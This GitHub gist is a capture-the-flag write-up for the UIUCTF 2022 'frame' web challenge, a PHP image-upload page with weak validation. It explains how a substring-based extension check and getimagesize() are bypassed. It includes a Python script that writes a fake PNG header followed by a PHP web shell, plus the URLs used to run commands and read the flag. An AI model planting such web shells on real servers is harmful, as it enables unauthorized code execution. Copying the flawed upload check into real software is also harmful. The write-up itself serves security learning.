Skip to content

Instantly share code, notes, and snippets.

@downbtn
Last active August 7, 2022 22:53
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save downbtn/6f37dd42504f01d2b2ba84bbb8216110 to your computer and use it in GitHub Desktop.
Save downbtn/6f37dd42504f01d2b2ba84bbb8216110 to your computer and use it in GitHub Desktop.

UIUCTF 2022 - frame [web50]

Summary: This was one of the beginner challenges for UIUCTF 2022. Use fake image headers to disguise a php script as an image, upload it and get the flag.

We made it easy to add a frame to your digital art!

https://frame-web.chal.uiuc.tf/

When I first visited the page, I was greeted with a screen where I can upload image files and it puts a frame around them. Pretty cool. If I try to upload something that's not an image, it simply fails, stating " Your picture is not a picture and could not be framed.".

Now let's look at the provided code in handout/index.php:

<!DOCTYPE html>
<html>
  <head>
    ... stuff that isn't important
  </head>
  <body>
    <div class="container text-center">
      <div class="row">
        <div class="col py-3">
          <h1>Picture Frame Generator</h1>
        </div>
      </div>
      <div class="row">
        <div class="col">
          <form action="/" method="post" enctype="multipart/form-data">
            Select image to upload:
            <input type="file" name="fileToUpload" id="fileToUpload">
            <input type="submit" value="Upload Image" name="submit">
          </form>
        </div>
      </div>
      <div class="row justify-content-center">
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
          if (isset($_POST["submit"])) {
            $allowed_extensions = array(".jpg", ".jpeg", ".png", ".gif");
            $filename = $_FILES["fileToUpload"]["name"];
            $tmpname = $_FILES["fileToUpload"]["tmp_name"];
            $target_file = "uploads/" . bin2hex(random_bytes(8)) . "-" .basename($filename);

            $has_extension = false;
            foreach ($allowed_extensions as $extension) {
              if (strpos(strtolower($filename), $extension) !== false) {
                $has_extension = true;
              }
            }
            
            if ($_FILES["fileToUpload"]["size"] < 2000000) {
              if (getimagesize($tmpname) && $has_extension) {
                if (move_uploaded_file($tmpname, $target_file)) {     
                  echo "<div id='frame'><img src='$target_file' alt='Your image failed to load :(' id='submission'></div>";
                } else {
                  echo "There was an error uploading your file. Please contact an admin.";
                }
              } else {
                echo "Your picture is not a picture and could not be framed.";
              }
            } else {
              echo "Your picture is too large for us to process.";
            }
          }
        ?>
      </div>
    </div>
  </body>
</html>

What the code appears to do is that when I upload a file, it performs some checks on the filename to ensure that the file has an image file extension like png or jpg. Then, it uploads the file with a randomized name and uses the function getimagesize() on it, and displays it with the frame afterward.

Since the code for this app is written in PHP, if I wrote a malicious PHP script, uploaded it, and made the server load it, you could potentially get code execution. However, the uploaded files have randomized names, meaning that if you only uploaded a script but didn't know the file path to it, this wouldn't work. The only way to determine the file path of a file you uploaded is to get the app to display it back to you. In this case, that means I have to trick the app into thinking the script is an image.

Let's take a closer look at the checks the app performs to make sure that the file I uploaded is an image. Since this is a 50 point challenge there's no way they're difficult to bypass. First, we have the file extension check.

$has_extension = false;
foreach ($allowed_extensions as $extension) {
  if (strpos(strtolower($filename), $extension) !== false) {
    $has_extension = true;
  }
}

The code checks the file extension using the strpos function. This function finds the index of the first occurrence of a substring in a string, or returns false if the substring is not found in the string. However, in this case, I can pass the check as long as the return value is not false. This means that an image extension simply has to be part of the name of our uploaded file, not the actual extension. So a file named evil.jpg.php would pass this check.

However, if you try to name a PHP file that and upload it, the page will still tell you that that's not a valid image. This is because of the other check:

if (getimagesize($tmpname) && $has_extension) {
  if (move_uploaded_file($tmpname, $target_file)) {     
    echo "<div id='frame'><img src='$target_file' alt='Your image failed to load :(' id='submission'></div>"; // display the image!
  } else {
    echo "There was an error uploading your file. Please contact an admin.";
  }
} else {
  echo "Your picture is not a picture and could not be framed.";
}

Using getimagesize() is probably intended to check the file signatures of the file to make sure it is an image, similarly to how the file command on Linux works. If you read the documentation for this function, you'll find that as expected, this function returns the size of the image file given, or it returns false if the file is not a valid image. However, the documentation also says this:

Caution This function expects filename to be a valid image file. If a non-image file is supplied, it may be incorrectly detected as an image and the function will return successfully, but the array may contain nonsensical values. Do not use getimagesize() to check that a given file is a valid image. Use a purpose-built solution such as the Fileinfo extension instead.

If that's true, then if I could manipulate a file to trick getimagesize() while actually containing malicious PHP code, then I could pass all the checks and solve the challenge. How exactly do you trick this function? After Googling I found this StackOverflow question where the first answer very helpfully included a tutorial on how to make a fake png.

After that, it was pretty easy to put it all together and get a shell:

#!/usr/bin/env python3
import base64

fake_png_header=base64.b64decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQMAAAAl21bKAAAABGdBTUEAALGPC/xhBQAAAAZQTFRF////AAAAVcLTfgAAAAF0Uk5TAEDm2GYAAAABYktHRACIBR1IAAAACXBIWXMAAAsSAAALEgHS3X78AAAAB3RJTUUH0gQCEx05cqKA8gAAAApJREFUeJxjYAAAAAIAAUivpHEAAAAASUVORK5CYII=')

with open('shell.png.php', 'wb') as f:
    f.write(fake_png_header)
    f.write(b'<h1>this is a shell</h1>')
    f.write(b'<?php system($_GET[\'cmd\']); ?>')

print('Generated fake image')

When you upload the resulting file, it passes all the checks as an "image". After that you can find the path of the uploaded file and navigate to it. You can pass arguments to the URL to run commands, for instance, https://frame-web.chal.uiuc.tf/uploads/cf17a5035b1ae2a6-shell.png.php?cmd=id runs the command id. Now that I have code execution, it's easy to get the flag. The provided Dockerfile will tell you that the flag is located in /flag, so I just navigated to the URL https://frame-web.chal.uiuc.tf/uploads/cf17a5035b1ae2a6-shell.png.php?cmd=cat /flag and got the flag.

uiuctf{th1nk1ng_0uts1de_th3_fr4m3}

I had a lot of fun with this CTF even though I was pretty rusty and couldn't solve almost anything. Definitely looking forward to UIUCTF 2023!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment